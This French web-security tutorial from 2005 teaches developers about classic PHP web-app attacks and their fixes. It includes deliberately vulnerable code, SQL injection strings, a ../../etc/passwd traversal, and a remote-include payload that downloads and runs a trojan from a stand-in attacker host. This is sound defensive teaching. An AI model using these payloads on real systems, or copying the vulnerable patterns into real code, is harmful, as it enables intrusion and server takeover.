WWW : the wild-wild-web - La sécurité du web dynamique

John GALLET - SaphirTech

http://www.saphirtech.com/

Rédaction initiale : mai 2005

Dernière modification : 4 juillet 2005

1. Introduction et audience

Ce document est destiné à tout développeur intervenant dans le cadre d'une "web-application" c'est à dire de manière générique toute application fonctionnant sur http composée d'un frontal de type navigateur, d'un backend de stockage de type SGBD(R) et d'un middle tiers permettant de faire le lien entre les deux et donc du web dynamique. Trois exemples de configuration de ce type : I.E. + . net + ms-sqlserver, firefox (ou tout successeur de netscape) + Tomcat/JSP + Oracle, Opéra + apache/PHP + Postgresql (ou mysql). Bien d'autres combinaisons existent.

Les sysadmins trouveront aussi quelques conseils en dernière partie pour réduire les risques et le fingerprinting liés à PHP et apache.

L'auteur affectionnant particulièrement cette plateforme (c'est peu de le dire !) un accent particulier est mis sur la réalisation en PHP, mais à de rares exceptions près, clairement indiquées comme telles, la totalité des failles décrites concerne TOUTES les plateformes de web dynamique, car elles sont liées à des erreurs de conception, pas d'implémentation.

Un cours sur le web dynamique appliqué à PHP et Mysql est disponible sur www.saphirtech.com et les notions qu'il présente devraient être acquises avant d'attaquer la partie sécurité.

Plan général du document

Après avoir mis en place quelques définitions pour s'assurer un vocabulaire commun et rappeler des règles générales de sécurité informatique, je dresse dans la troisième partie une liste de fausses pratiques de sécurité. Cette partie est (volontairement)assez dense et dogmatique car elle ne fait qu'un catalogue de mauvaises habitudes en donnant une courte justification.

La deuxième partie donne des catégories d'attaques selon leur niveau d'automatisation.

En troisième partie, je recense un catalogue le plus complet possible des attaques auxquelles sont exposées les applications web, en indiquant à chaque fois le principe à implémenter pour se protéger, en particulier le squelette de principe d'un module de filtrage.

La quatrième et dernière partie termine le document par des conseils complémentaires généraux.

Vocabulaire :

J'emploierai le terme "attaquant" qui est suffisamment générique pour ne pas rentrer dans le débat de ses motivations. Rappelons néanmoins au passage que le terme galvaudé "hacker" n'a pas le sens communément utilisé par les médias tout aussi ignorants dans ce domaine que dans bien d'autres. "to hack the code" cela veut dire disséquer, acquérir une compréhension suffisante d'un programme pour pouvoir ensuite l'améliorer, le corriger (en particulier en termes de fiabilité).

"www.cible.tld" : ce sera toujours le nom de domaine de l'application vulnérable attaquée.

"www.attaquant.tld" : ce sera l'une des multiples machines qu'un attaquant peut avoir à sa disposition (pas nécessairement toujours la même pour une même attaque, on peut parfaitement demander un script à une première machine qui lui même en télécharge un autre depuis une autre machine).

"to spoof" (en français dans le texte : spoofer) : simuler des informations théoriquement techniques et transparentes pour l'utilisateur afin d'usurper une identité informatique.

"faille de sécurité" : erreur de codage ou de conception qui permet de passer outre une procédure d'authentification, d'avoir accès à des données non publiques, ou de modifier/détruire des données/des scripts, restreint exclusivement à une optique web en ce qui concerne ce document.

"utilisateur" : la personne physique qui a une raison légitime d'utiliser l'application, i.e. l'internaute client potentiel d'un site marchand ou l'utilisateur d'une application d'intranet, etc.

"social engineering" : l'attaquant contacte sa cible en personne, souvent par téléphone, mais même en chair et en os, le plus souvent en usurpant une identité, pour aller "à la pêche" aux informations.

"phishing" : (to fish : pêcher) processus de social engineering en nette recrudescence par courrier électronique. Vous avez probablement déjà reçu un mail d'ebay ou d'une banque qui vous demande "pour raisons de sécurité" (et comment !) de bien vouloir confirmer vos informations confidentielles en cliquant là. NE LE FAITES JAMAIS.

"page" : une page est un contenu affiché. Peu importe qu'il y ait changement du nom de fichier ou des paramètres permettant de générer ce contenu, ce document traite de sécurité, pas des recommandations w3c.

"unix": tous types d'unix au sens large, libres ou non.

Sécurité informatique : un tout cohérent

C'est un domaine très vaste, même restreint aux web-apps. Ce document ne prétend en rien donner une solution magique et universelle : il n'y en a pas. Il est très important de comprendre que votre système possède le niveau de sécurisation de son maillon le plus faible, qui est souvent l'humain (mots de passe sur post-it au mieux sous le clavier ou plus simplement sur le côté de l'écran, social engineering, etc.), mais peut se situer n'importe où sur la chaîne. Ce document ne traite pas de la sécurisation de l'accès à la base de données, de l'installation de firewalls (physiques ou logiques comme iptables, etc.) de la nécessité de se tenir à jour des patchs du système d'exploitation et des applications employées, de forcer les utilisateurs à changer régulièrement leurs mots de passe...

Mais si vous ne le faites pas (faire), le temps investi en respectant scrupuleusement les conseils donnés ici ne sera pas aussi rentable qu'il aurait pu l'être, ou carrément en pure perte.

J'insiste : posez vous la question. Qui est chargé dans le cadre de votre entreprise ou de votre équipe de développement ou de gestion de production de se tenir au courant des mises à jour de sécurité des applications principales (système windows/unix, SSL, apache, IIS, oracle, sybase, postgresql, mysql, php, jdk, perl, etc.) et de les appliquer ? Le fait-il ? Une fois qu'il a l'information, est-ce qu'il applique bien les patchs ?

Passoire ou inutilisable ?

Ce document essaye de prendre en compte tous les aspects de la sécurité d'une application web et en particulier l'équilibre précaire à obtenir entre la sécurité des données et la possibilité pour l'utilisateur de se servir de l'application. Il convient de bien dissocier ce qui relève du confort de l'utilisateur de ce qui le gênera vraiment ou l'empêchera totalement d'utiliser l'application. Une application qui fonctionne à merveille avec des données totalement corrompues renverra toujours des données corrompues : "garbage in, garbage out". Une application dont personne ne veut se servir car son interface est trop contraignante ne sortira aucune donnée, ni vérolée, ni correcte.

Suis-je concerné par ce type d'attaque ?

Avant de vous dire "ça ne peut pas m'arriver", posez vous vraiment la question une seconde fois :
Est-ce que TOUS les développeurs de l'équipe sont bien au courant de comment ça se passe dans la vraie vie ? Et ceux de vos fournisseurs ?
Si vous avez un hébergement mutualisé, votre application n'est-elle pas en réalité suffisamment critique pour mériter une machine dédiée afin de ne pas être impactée par les failles des autres applications (que vous ne maîtrisez en rien !) présentes sur cette machine ?
Même si maintenant, dans votre configuration actuelle, ça ne peut pas vous arriver, et si vous deviez la changez ? Et si la semaine prochaine, la qualité de votre hébergement se dégrade et que vous devez en changer d'urgence ? (ça n'arrive pas qu'aux autres...)
Jusqu'à quel point la configuration actuelle est-elle soit disant "standard" ?
Que se passera-t-il à la prochaine version d'IIS, asp, .net, jdk/jre, tomcat, apache, php, perl ?
Et si vous n'aviez plus la main sur la machine pour en changer la configuration par défaut ?
Et si demain vous avez un énorme contrat d'un prospect mais que celui-ci exige que votre application fonctionne dans une configuration radicalement différente de la vôtre, quels sont les impacts (utilisation de .htaccess par exemple) ?

Généralités

On ne le répètera jamais assez : il est impossible de faire confiance à une donnée provenant du client, même (surtout) si elle est censée avoir été validée côté client en javascript. De même, une génération d'identifiant de session ou de jeton doit absolument être non déterministe, donc fortement aléatoire. Il convient évidemment d'avoir une fonction/méthode unique de vérification de validité de la session et de ne pas oublier de l'appeler systématiquement.

Règle : vérifiez que toutes les "pages" à accès restreint font bien la vérification des droits d'accès ou de la session. Si, si, faites le.

Deux grands types d'attaques peuvent avoir lieu :
- l'attaquant fournit des données cohérentes pour l'application (elle s'attend à les recevoir) mais fausses. Par exemple, si le prix d'une commande en ligne n'est pas recalculé côté serveur, l'attaquant modifie le prix de la commande (total global ou de chaque article). Si l'authentification de l'administrateur a lieu en recevant la variable "admin=On", l'attaquant va la fournir. NB : ne rigolez pas en lisant ces deux exemples, ils ne sont pas simplistes, on les rencontre réellement, et même pire.
- l'attaquant essaye d'exécuter du code, à exécution immédiate ou à but de le stocker pour qu'il soit exécuté plus tard (par exemple dans l'outil d'administration de l'application).

2. Première partie : la fausse sécurité.

De même qu'il est dangereux qu'une application "tombe en marche" sans qu'on comprenne pourquoi (c'est ce qu'on appelle parfois la "programmation accidentelle"), il est dangereux de ne pas comprendre les mécanismes de transmission des données sur HTTP. Et encore plus dangereux de se croire à l'abri alors qu'on ne l'est nullement. Voici donc certaines fausses pratiques de sécurité. En elles mêmes, elles ne sont pas dangereuses (elles ne sont pas à la source de la faille), mais contribuent à faire croire que "le reste" est inutile (confort psychologique) alors qu'elles se contournent en quelques minutes (heures pour la crypto), ce qui est le meilleur moyen pour se retrouver avec une passoire en étant convaincu d'avoir un coffre fort, et peuvent dans certains cas de plus être gênantes pour l'utilisateur.

Le middle tiers (JSP, PHP, etc.) reçoit des données de deux sources : le réseau et la base de données. Les données reçues de la base peuvent être considérées comme sécurisées si on a fait le ménage avant des insérer, ce que je considèrerai ici pour simplifier, mais il est à noter que certains développeurs considèrent qu'il vaut mieux faire certains nettoyages en sortie, et non en entrée, du SGBD, pour certain types d'attaques. Attention : même si ce document se réduit à une optique web, il faut bien entendu faire du nettoyage sur tous les canaux d'entrée (imports de fichiers, web-services, etc...)
Nous y reviendrons en traitant les XSS. Considérons donc pour le moment que les données venant du SGBDR sont dignes de confiance.

Règle primordiale : vous ne pourrez jamais empêcher un attaquant de vous fournir les arguments qu'il voudra LUI (par la méthode de transmission que vous attendez VOUS).
Pourquoi : cf. plus loin.

"Je ne risque rien sur mon intranet"

Fausse impression de sécurité : "mon application est un intranet, il n'y a pas de pirates dans mon entreprise".
Ah bon ? On parie ?
Triste réalité : plus de la moitié des attaques recensées proviennent de l'intérieur de l'entreprise.

"Je suis sûr que c'est arrivé en POST"

So what ?
Fausse pratique de sécurité : "je vérifie que la donnée m'arrive bien en POST" (variante : "en GET", "dans un cookie").

Règle : il est inutile de vérifier qu'une donnée vous est bien fournie par POST et non par GET (ou l'inverse) ou par un cookie.

Pourquoi : c'est l'enfance de l'art que de vous envoyer des données. Vous voulez du GET ? Par GET, il suffit de faire un telnet www.cible.tld 80 ou plus simplement de taper les variables dans la barre de navigation d'un navigateur. Vous voulez du POST ? Par POST, il suffit de sauvegarder la page html de votre formulaire sur le disque dur, de modifier le code, de relire le fichier local, et cliquer sur "submit". Vous voulez un cookie ? Un cookie, ce n'est qu'un fichier texte à écrire au bon endroit

sur le disque dur. Il est également possible d'utiliser wget ou curl pour envoyer les mêmes données en boucle infinie 10 ou 50 fois par seconde pendant 1h...

Corollaire : c'est le contenu de la donnée qui est important, son mode de transmission n'a strictement aucune importance.

En PHP : utilisez donc le tableau $_REQUEST au lieu de compliquer le code en utilisant tantôt $_GET et tantôt $_POST.

"Mes données sont valides grâce à javascript"

Fausse pratique de sécurité : "j'ai déjà vérifié les données par du javascript, donc elles sont bonnes".

Règle : la validation des données en JS ne sera jamais que l'un (et certainement pas le seul !) des moyens de donner du confort d'utilisation à l'utilisateur, et ne sera jamais une source de sécurité.

Pourquoi : pour les mêmes raisons que la vérification de la méthode de transmission des données, cette affirmation est nécessairement une hérésie, sans compter le cas d'un navigateur ancien ou configuré pour ne pas accepter javascript.

Ce qu'on peut éventuellement tolérer comme raisonnement, en revanche, c'est la chose suivante : "j'ai déjà validé mes données en javascript, ce qui permet le confort de l'utilisateur qui a des beaux messages d'erreur contextuels, donc si je détecte côté serveur une incohérence, je n'ai pas besoin de faire trop d'efforts pour le confort de l'utilisateur : il ressaisira tout le formulaire, tant pis pour lui, s'il ne veut pas utiliser JS, c'est son problème." En ce qui me concerne, je n'encourage pas ce type de comportements de fainéants, mais c'est là un avis purement personnel.

"c'est pas grave, les mots de passe sont chiffrés"

Fausse pratique de sécurité : "je chiffre les mots de passe dans la base de données, parce que comme ça c'est pas grave si on me les vole". (s/base de données/fichier/)
Triste réalité : si on vous vole des données confidentielles de taille courte style mots de passe, mêmes chiffrées/cryptées, ce n'est qu'une question de très peu de temps avant qu'elles ne soient déchiffrées.
Pourquoi : attaques par dictionnaires, par analyse statistiques, rainbow tables, les méthodes ne manquent pas, et il y aura bien toujours au moins un utilisateur qui aura un mot de passe "faible" qui sera trouvé à la première passe. Un seul suffit, pas besoin de tous les trouver. Et ce ne sont pas les outils de craquage qui manquent.

Règle : vous pouvez/devez chiffrer les mots de passe en base de données, mais ne vous LIMITEZ JAMAIS à cette protection seule. Vous devez tout faire pour interdire l'accès illégitime à ces données.
Pourquoi : non seulement si un attaquant arrive à extraire ces informations, il arrivera aussi probablement à extraire toutes les autres contenues dans la base, et même peut-être à les modifier, mais ce n'est qu'une question de temps avant qu'au moins un login/pass soit déchiffré (pas nécessairement tous, mais suffisamment pour compromettre le système, et tous ceux sur lesquels cet utilisateur a choisit le même mot de passe). Vraiment, quand on vous a piqué la liste des logins/pass, il est sacrément tard pour se mettre à faire de la sécurité...

Mise en pratique :
Méfiez vous des fonctions internes de chiffrement des SGBDR qui sont susceptibles de changer (exemple sous mysql, la transition de MD5 à SHA1 pour la fonction interne PASSWORD()).

"Ca vient bien de chez moi, j'ai vérifié le referer"

Fausse pratique de sécurité : "je vérifie que la page précédente est la bonne avec le HTTP_REFERER"
Règle : vérifier le HTTP_REFERER ne fait qu'une seule chose : gêner les internautes honnêtes dont le navigateur ne transmet pas cette information.
Pourquoi : là encore, c'est l'enfance de l'art que de spoofer cette information. Les dernière versions de wget acceptent directement --referer=www.cible.tld/page.ext (et les précédentes permettent de l'ajouter avec --header), la librairie curl a aussi cette option en standard, le langage Python fait lui aussi ça très facilement, etc.

"C'est la bonne IP donc c'est la bonne personne"

Fausse pratique de sécurité : "je me contente de vérifier une liste d'adresses IP autorisées"

Règle : se contenter d'une authentification par IP est en général insuffisant.

Pourquoi : c'est une pratique extrêmement peu fiable. Personne ne vous garanti que c'est la bonne personne qui est devant la machine, seulement que c'est (peut-être) la bonne machine. Et une IP se spoofe aussi très bien.

"C'est la même IP / X-FORWARDED-FOR donc c'est la même personne"

Fausse pratique de sécurité : "je vérifie que l'utilisateur n'a pas changé d'IP entre deux requêtes HTTP".(variante : pas changé de X-FORWARDED-FOR)

Règle pour un site public : ne rendez jamais cette vérification bloquante (loguez la si vous voulez, mais ne rejetez pas la session) car sinon vous allez rendre votre site totalement inaccessible à bon nombre d'internautes.
Règle pour un intranet : vous pouvez, si vous maîtrisez bien le schéma réseau (quid d'un vpn avec chemins redondants ?) ajouter cette vérification, mais elle ne doit en aucun cas être la seule. C'est un (petit) plus, pas une sécurité suffisante.

Pourquoi: tout premièrement parce que l'IP, comme d'ailleurs le X-FORWARDER-FOR (ou le HTTP_REFERER comme déjà vu), sont des données émises par le client réseau, donc l'enfance de l'art à spoofer (entre autres en jouant avec ARP).
Ensuite, outre le spoofing, parce que beaucoup de réseaux, d'entreprise ou de FAI, ont des proxys dans tous les coins, et que RIEN ne garantit que l'internaute le plus honnête qui soit n'aura pas 10 IP différentes sur 10 requêtes HTTP successives.

"C'est une donnée sûre, c'est le système qui me la donne"

Règle : vous devez toujours vérifier quelle est la source d'une donnée.

Pourquoi : tout, je répète, tout ce qui peut, dans un processus normal ou non, venir du monde extérieur doit être considéré comme vérolé. Par exemple, il est classique (et d'une inutilité patentée, mais c'est un autre débat...) d'enregistrer le navigateur ayant fait la requête. On se sert alors de la donnée User-Agent. En PHP elle se trouve dans la variable $_SERVER['HTTP_USER_AGENT']. Or, ceci peut contenir absolument n'importe quoi, c'est là aussi l'enfance de l'art à utiliser :

```
telnet www.cible.tld 80
Escape character is '^]'.
GET /vulnerable_script.ext HTTP/1.1
User-Agent: evil_agent'
```

[deux fois entrée]

3. Deuxième partie : scénarios d'attaques

N'importe qui ayant regardé des logs de serveur http d'une machine disposant d'une IP publique le confirmera instantanément : tous les serveurs de la terre entière sont constamment sous attaque. Mais comment font-ils ? Ils ne dorment jamais ? Les humains, si. Leurs scripts automatisés, non (de l'expression "script kiddies"). Il y a deux catégories d'attaques :

Les attaques automatisées.

L'attaquant télécharge une application toute prête, ou la développe lui même, la paramètre pour scanner une plage d'adresses IP, et vaque à ses occupations. Quand l'attaque a réussit, il est prévenu automatiquement par courrier électronique ou sur canal IRC par exemple. Votre application sera nécessairement soumise à ce type de scans. En décembre 2004, c'est ce type d'attaque qui a fait des ravages dans les sites utilisant phpBB, le script de l'attaquant étant programmé pour rechercher automatiquement une prochaine victime potentielle sur google dès qu'il avait réussit à infecter une machine. Il est donc impératif que vos scripts soient totalement blindés contre ces attaques automatisées.

Les attaques ciblées.

Ce soir R00t-P4t4T0r a décidé de se faire plaisir, il tape une IP au hasard et pas de bol, c'est la vôtre. Ou alors, il vous en veut personnellement. Ou il est payé par le KGB. Ou un de vos concurrents. Allez savoir. Mais là cette fois ce n'est plus un script bête qui teste un certain nombre de failles bien précises, vous avez affaire à un cerveau humain, en général loin d'être idiot et ayant souvent de l'expérience, si ce n'est du talent (malgré le pseudo ridicule dont je viens de l'affubler). Dans ce type d'attaque, pour faire une MALC, c'est un peu comme quand un cambrioleur arrive sur votre pallier en plein mois d'août. Il sait qu'il peut faire un peu de bruit, mais pas trop quand même. S'il voit une porte blindée avec cinq points et l'impossibilité totale de faire pression sur les angles, et que la porte d'à côté nécessite juste un bon coup de tournevis pour faire sauter la serrure, il a le choix : ou il se lasse vite après avoir essayé (et il passe chez le voisin de pallier), ou il a vraiment envie de rentrer et il finira probablement par y arriver, ou à bousiller la serrure.

Là c'est un peu pareil: votre application doit absolument passer le premier scan en ne lâchant strictement aucune information pouvant permettre de penser qu'elle est mal conçue (ce qui provoquerait un regain d'énergie et faciliterait l'attaque), et résister à toutes les attaques classiques recensées. Pour le reste... un attaquant déterminé a de fortes chances de réussir à finir par rentrer dans le système, probablement en combinant plusieurs failles mineures, avec un peu de social engineering, etc...

4. Troisième partie : annuaire des attaques classiques

REMARQUE IMPORTANTE :
Dans tout le code ci-dessous j'utilise allègrement $_REQUEST sans autres précautions, ce qui est une hérésie. Il est obligatoire d'utiliser une fonction de filtrage, ce qui sera vu en temps utile.

Injection de variables

Ce paragraphe est plus spécifiquement liée à PHP et ne fonctionne que dans sa configuration register_globals=On ou par toute pratique consistant à volontairement réimporter dans l'espace de nommage direct les variables reçues (exemple : extract($_POST))

Dans cette configuration, toute variable reçue (en GET ou POST peu importe) est importée dans l'espace de nommage. Un script mal écrit peut alors être vulnérable.
Par exemple :

```
<?php // verif_login.php code vulnerable ne faites pas ceci
// en general, on va chercher en SGBDR ou lire un fichier
if($login=='coucou' && $password=='coincoin')
 $auth=TRUE;
?>

<?php // traiter_formulaire.php code vulnerable ne faites pas ceci
require('verif_login.php');
if($auth) require('secret.php');
else require('login.php');
?>
```

Outre le fait que n'importe qui peut ici demander http://www.cible.tld/secret.php directement ce qui est une faille en soit (je donne cet exemple pour préparer la suite) il suffit ici que n'importe qui appelle www.cible.tld/traiter_formulaire.php?auth=0wn3d pour accéder sans login ni mot de passe à la zone secrète.

Attention : en register_globals=On, on peut parfaitement injecter des variables dans des tableaux comme $_SERVER...

Comment résoudre ce problème ?
1) ne jamais partir du principe qu'on est en register_globals=Off : oui, c'est le cas de beaucoup des machines actuelles, mais loin, très loin d'être le cas de toutes les machines. Oui, c'est "idiot" de ne pas désactiver register_globals (il y avait d'autres solutions à la base, mais puisque celle-ci a été retenue, autant s'en servir) mais ce n'est pas toujours le cas dans la vraie vie. C'est la triste réalité, vous devez vous en accommoder (au lieu de partir du principe que ça n'arrivera pas).
2) toujours initialiser ses variables. Le script ci-dessus se corrige en une seule ligne en ajoutant $auth=FALSE; en première ligne de verif_login.php (ou en else).
3) toujours être compatible avec register_globals=Off et donc utiliser le tableau $_REQUEST (ou $_GET et $_POST si vous préférez mais souvenez vous que ça n'apporte AUCUNE sécurité supplémentaire).
4) d'aucuns détruisent d'entrée toutes les variables qui auraient pu être créées en register_globals=On avec les instructions suivantes :

```
foreach($_REQUEST as $name) unset(${$name});
```

Attention, si ceci n'est pas fait sur TOUS les fichiers, il n'y a aucun gain.
NB : syntaxe complète et non ambiguë, mais on peut aussi simplifier ici en $$name)

Confiance aveugle dans les données extérieures

Là, une mauvaise analyse du transit des données (entre autres) permet de deviner trop de choses puis de les exploiter. En regardant le code du formulaire soumis dans le cadre d'une inscription en ligne, l'attaquant lit ceci :
[...]
<INPUT TYPE="HIDDEN" NAME="log" VALUE="mailing.log">
<INPUT TYPE="HIDDEN" NAME="bienvenue" VALUE="welcome.txt">
[...]
Si le script de traitement, quel que soit le langage dans lequel il est écrit, envoie par mail le texte contenu dans welcome.txt il est possible de demander d'autres fichiers : VALUE="../../etc/passwd" par exemple. Ou le code du script lui même. Ou d'un script contenant des logins/pass d'accès au SGBDR, etc. Il suffit de demander, on reçoit directement le fichier par mail.
Si le script est écrit en perl, on a même une chance d'exécuter directement des commandes système. De plus, on connaît déjà le nom de fichiers sur lequel le script possède un droit en écriture, peut-être même est-ce tout le répertoire, ce qui est toujours utile à savoir quand on veut exécuter du code à distance.

Comment résoudre ce problème ?
Aucune méthode de développement n'insiste assez sur un point primordial qui touche aussi bien à la sécurité qu'aux performances : l'analyse du flux des données. Si ça ne sert à rien de balader l'information, on ne la balade pas. Aussi bien pour raisons de performances que de sécurité.

Règle : le premier principe à appliquer est que toute donnée arrivant du monde extérieur est potentiellement vérolée et doit donc être validée. Nous verrons plus tard les différentes méthodes de validation possibles.

Includes dynamiques

Cette faille est un cas particulier de la confiance aveugle dans les données qui sont reçues, avec la désagréable particularité de permettre immédiatement l'exécution du code de l'attaquant sur votre serveur.
Cette faille nécessite que le paramétrage allow_url_fopen = On ce qui est le cas par défaut.

Très répandue en PHP et plus généralement dans les langages utilisant le principe des SSI (Server Side Include) mais pouvant se généraliser à d'autres langages avec une mauvaise conception, cette faille est basée sur le fait que le nom d'un fichier à utiliser côté serveur est récupéré dans une variable venant du monde extérieur.
Exemple 1 :

```
<?php // file_vuln1.php code vulnerable ne faites pas ceci
// rappel : le . est en PHP pour les strings la concaténation, comme le + en java par exemple.
// rappel : on ne doit pas utiliser $_REQUEST sans filtrage, cf plus loin.
$action=$_REQUEST['action'];
require($action.'.php');
?>
```

Attaque :

```
<HTML>
<!-- local.html a ouvrir dans son navigateur favori -->
<BODY>
```

```
<FORM ACTION="http://www.cible.tld/file_vuln1.php" METHOD="POST">
<!-- quand on vous disait que c'est l'enfance de l'art de vous envoyer une donnée par POST... -->
<INPUT TYPE="HIDDEN" NAME="action" VALUE="http://www.attaquant.tld/evil_script">
<INPUT TYPE="SUBMIT">
</FORM>
</BODY>
</HTML>
```

Dans cet exemple, le code de file_vuln1.php ajoute le ".php" en espérant être sécurisé ce qui est doublement idiot : ou on nommera le script de l'attaquant file_vuln1.php.php si on a besoin de générer du code offensif dynamiquement (oui, oui, générer du code offensif dynamiquement, on peut), ou tout simplement sans extension. Dans un cas il faudra faire appel à la commande php echo pour générer le code, dans l'autre il suffit d'écrire le code directement.

```
<?php // evil_script.php
echo '
// ceci sera envoye et execute par la victime Mwuahahahahaha
exec("wget http://www.attaquant.tld/trojan.pl -O /tmp/.tmp001; /tmp/.tmp001");
';
?>
```

Comment résoudre ce problème ?

Ne le créez pas !! Le moyen le plus simple : ne JAMAIS utiliser les instructions require, include, require_once, ou include_once avec en paramètre complet ou tripoté une donnée venant de l'extérieur. Cette pratique relève exclusivement de "l'astuce du bidouilleur averti" ou (pire) de "l'esthète du code". Il n'y a strictement aucune contrainte externe qui puisse vous forcer à utiliser ce type de raccourci syntaxique.
Pour s'en assurer : passer allow_url_fopen à Off.
Assurez vous que les droits liés aux processus web soient corrects.
Ceci étant dit, si vraiment vous voulez continuer à utiliser cette syntaxe (on vous aura prévenus, hein), vous devez impérativement vérifier l'argument reçu par rapport à une liste explicite de valeurs autorisées.

De manière générale, on peut coder quelque chose à base de switch case ou en PHP utiliser la fonction in_array(). D'aucuns utilisent la fonction file_exists( ) car pour l'instant elle ne fonctionne qu'en local, mais :
1) si on demande ../../etc/passwd la fonction file_exists( ) renverra bien TRUE...
2) les évolutions de la notion de streams en PHP ne m'inspirent pas du tout confiance (en termes de généralisation à outrance) et il se pourrait bien qu'un jour, sans tambours ni trompettes, file_exists() renvoie TRUE sur un fichier accédé par http. La fonction file_exists() fonctionne d'ailleurs sur ftp:// (source : Simon Maréchal, SSTIC 2005).

Exemple première méthode :

```
switch($action)
{
case 'new':
case 'update':
case 'ok':
// ...
default:
```

```
 exit("Don't even think about it...");
}
```

Exemple seconde méthode :

```
$auth_actions=array('new','update','ok',.....);
if(!in_array($auth_actions, $action)) exit("We told you : no way.");
```

Le choix entre la première et la seconde méthode dépend à mon sens de la quantité de code qu'on peut factoriser entre les différentes actions. Et rappelons qu'on peut surtout choisir de ne pas utiliser d'includes dynamiques.

Les injections SQL par des chaînes de caractères

Cette injection a en théorie peu de chances de fonctionner car elle est basée sur un détournement du caractère ' (apostrophe/guillemet simple) et on souhaite pouvoir stocker ce caractère dans une table, quand cela ne serait que pour un nom de famille. La protection découle naturellement du besoin de stocker correctement une donnée contenant une apostrophe. Néanmoins, en pratique, cette faille est beaucoup plus souvent présente qu'on ne pourrait l'imaginer, en PHP ou non.

```
CREATE TABLE lusers (
login VARCHAR(10) NOT NULL,
password VARCHAR(15) NOT NULL,
last_log DATETIME NULL,
PRIMARY KEY login);
```

Rappel au passage : ne mettez pas un UNIQUE ni une PK sur le mot de passe. Si je me fais refuser mon mot de passe pour cause de doublon, je n'ai plus qu'à obtenir le login associé...

Soit le code (avec mysql, mais ceci est valable sur la totalité des SGBD):

```
<?php // check_login.php
// rappel : on ne doit pas utiliser $_REQUEST sans filtrage, cf plus loin.
$login=$_REQUEST['login'];
$pass=$_REQUEST['pass'];
$query="UPDATE lusers SET last_log=NOW() WHERE login='$login' AND password='$pass'";
$res=mysql_query($query, $dad);
if($res==FALSE) exit();
if(mysql_affected_rows($dad)!=1)
{
require('login.html');
exit();
}
require('accueil.php');
exit();
?>
```

L'attaquant saisi alors dans les champs login et pass du formulaire, respectivement, un login connu/deviné (admin par exemple) et ' -- par exemple. Rappel : -- est un commentaire en SQL.
La requête devient alors :

```
UPDATE lusers SET last_log=NOW() WHERE login='admin' -- AND password ='
```

Ce qui est toujours vrai, n'impacte qu'un seul rang si le login admin existe, donc permet de se loguer sans connaître le mot de passe associé. Avec tous les SGBD acceptant cette instruction, Mysql par

exemple, on peut aussi contourner la limitation demandée à un rang avec une injection du type :
login==>' OR 1=1 LIMIT 1 --
La requête devient alors :
UPDATE lusers SET last_log=NOW() WHERE login='' OR 1=1 LIMIT 1
car le -- met le reste de la requête en commentaires et il est même inutile de connaître/deviner un login.

Comment résoudre ce problème ?

Cette faille ne fonctionne que grâce au détournement du caractère '
En PHP, la directive de configuration magic_quotes_gpc est souvent activée. Elle permet d'éviter automatique ce type d'injections car PHP garanti alors que toute variable de $_REQUEST subit un ajout de \ avant les ' présentes. Il faut donc tester la configuration de PHP avec get_magic_quotes_gpc() et s'il n'est pas activé, ou pour tous les langages non PHP, pour toutes les variables venant de l'extérieur et allant vers la base de données, échapper les ' présentes par le caractère d'échappement de votre SGBDR : souvent c'est \ mais on trouve aussi souvent le même ' pour échapper i.e. \' ou ''. En PHP, on peut utiliser la fonction addslahes(). Attention à se prémunir contre l'insertion de \' qui ne doit pas devenir \\' (le caractère \ suivit de l'apostrophe) mais \\\' (le caractère \ suivit d'une apostrophe échappée correctement).

Injections sur des entiers

Soit la requête : UPDATE ... SET ...=.... WHERE id=$identifiant
Si on envoie dans $identifiant : 1 OR 1=1 la totalité des rangs la table sera mise à jour avec les mêmes valeurs.

Comment résoudre ce problème ?

L'approche consistant à mettre des ' autours des entiers (i.e. WHERE id='$identifiant') n'est à mon sens pas satisfaisante, toute compatible SQL 9.2 qu'elle puisse être et ce pour deux raisons :
1) les standards sont une chose, la réalité des implémentations en est une autre. Sybase n'accepte pas des ' pour les entiers. Des versions pas si anciennes que ça de Mysql acceptent parfaitement la syntaxe SQL ...WHERE id='1 OR 1=1' et il y en aura encore dans la nature longtemps. Cette méthode est donc impossible à mettre en pratique si vous voulez écrire du code portable inter SGBDR de toutes façons.
2) si ceci est la seule méthode de protection; il faut bien penser à mettre des ' partout y compris dans les SET colonne_entiere='$valeur_espérée_entière', sinon on peut se servir aussi des autres valeurs pour une injection.

Autre solution : les requêtes préparées, mais on perd en portabilité inter SGBD. Le principe est de définir des "placeholders" puis de les remplacer par leur valeur.
$sql->prepare_sql("INSERT INTO mytable VALUES (:1,:2) ";
$sql->execute_sql($valeur1, $valeur2);

Les uploads de fichiers

Si vous pouvez vous en passer et forcer les utilisateurs à les déposer, éventuellement via une tierce personne, par sftp, ne vous privez pas de le faire. Si vraiment c'est incontournable, la plus grande

des vigilances est de mise.

De manière générale : commencez par appliquer la règle de base de la sécurité informatique : tout ce qui n'est pas explicitement autorisé est interdit. Donc dressez explicitement la liste des extensions de fichiers que vous allez accepter en réception, et ce dans tous les cas (.jpg .gif .pdf etc.).

Si vous pouvez stocker ces fichiers en dehors de l'arborescence web, ne vous en privez surtout pas, ainsi, même s'ils contiennent du code offensif, personne ne pourra le lancer. A défaut, essayez d'interdire l'accès direct au répertoire (par .htaccess par exemple). En particulier, ceci est l'une des très rares raisons valables de stocker des données binaires dans un SGBDR, qui est volontairement vu (tant pis pour l'overhead) comme serveur de fichiers. On peut aussi utiliser readfile() mais attention à ne pas envoyer tous les fichiers de la machine...

Ensuite, et particulièrement si vous êtes dans l'obligation de laisser ces fichiers dans l'arborescence web, n'hésitez jamais à les renommer complètement avec un nom aléatoire (ou par exemple le MD5 du fichier, en faisant attention aux collisions) ou à interdire certaines chaînes de caractères dans leur nom, au hasard : php, index, cgi. Attention là aussi aux noms du type ../toto.php
Attention : si on appelle ce fichier dans une balise <IMG SRC=....> par exemple, il va de soi que le renommage du fichier uploadé a pour seul but de gêner les écrasements de fichiers existants ou écriture dans des répertoires mal protégés. Il ne s'agit nullement d'espérer que l'attaquant n'arrivera pas à retrouver le nom de son fichier.

Vérifiez systématiquement par des tests unitaires quelles extensions et quels noms sont exécutés côté serveur (alors qu'on ne le souhaite pas du tout !) et lesquels sont renvoyé au navigateur (alors qu'on ne souhaite pas plus voir son code PHP renvoyé au navigateur !). En particulier, vérifiez explicitement qu'on ne peut pas recevoir des .htaccess ou .htpassword

Un hébergeur reconnu dont je tairai le nom avait la "bonne" habitude de faire exécuter à PHP n'importe quoi contenant "php" dans le nom du fichier, par exemple totophp.jpg...

